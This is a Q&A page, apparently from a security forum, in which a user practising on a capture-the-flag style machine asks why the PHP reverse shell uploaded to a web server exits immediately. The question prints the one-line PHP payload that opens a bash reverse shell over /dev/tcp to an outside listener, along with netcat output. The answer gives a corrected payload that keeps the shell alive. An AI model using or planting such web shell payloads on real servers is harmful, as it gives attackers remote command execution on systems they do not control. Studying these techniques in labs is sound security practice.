1

My reverse shell is exiting when i lsten it with netcat: here is netcat output:

listening on [any] 5555 ...
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ exit

here is my php reverse shell:

<?php system("bash -c 'bash -i >& /dev/tcp/10.9.3.157/5555>&1'"); ?>

Any help?

schroeder
  • 123,438
  • 55
  • 284
  • 319
Grainbox
  • 11
  • 1

1 Answers1

1

The issue is once the command bash -c 'bash -i >& /dev/tcp/10.9.3.157/5555>&1' is executed the system function will exit which lead to kill the created bash process and the reverse shell. To solve this, you need to add a command that will keep the process created by system running/alive. You can try:

<?php system("bash -i >& /dev/tcp/10.9.3.157/5555>&1; cat -"); ?>

The cat - command will permanently wait for STDIN and print it to STDOUT until it process or it parent process are killed. This will block the exit of the process created by system function as long as the cat - process is running.

St0rm
  • 527
  • 2
  • 9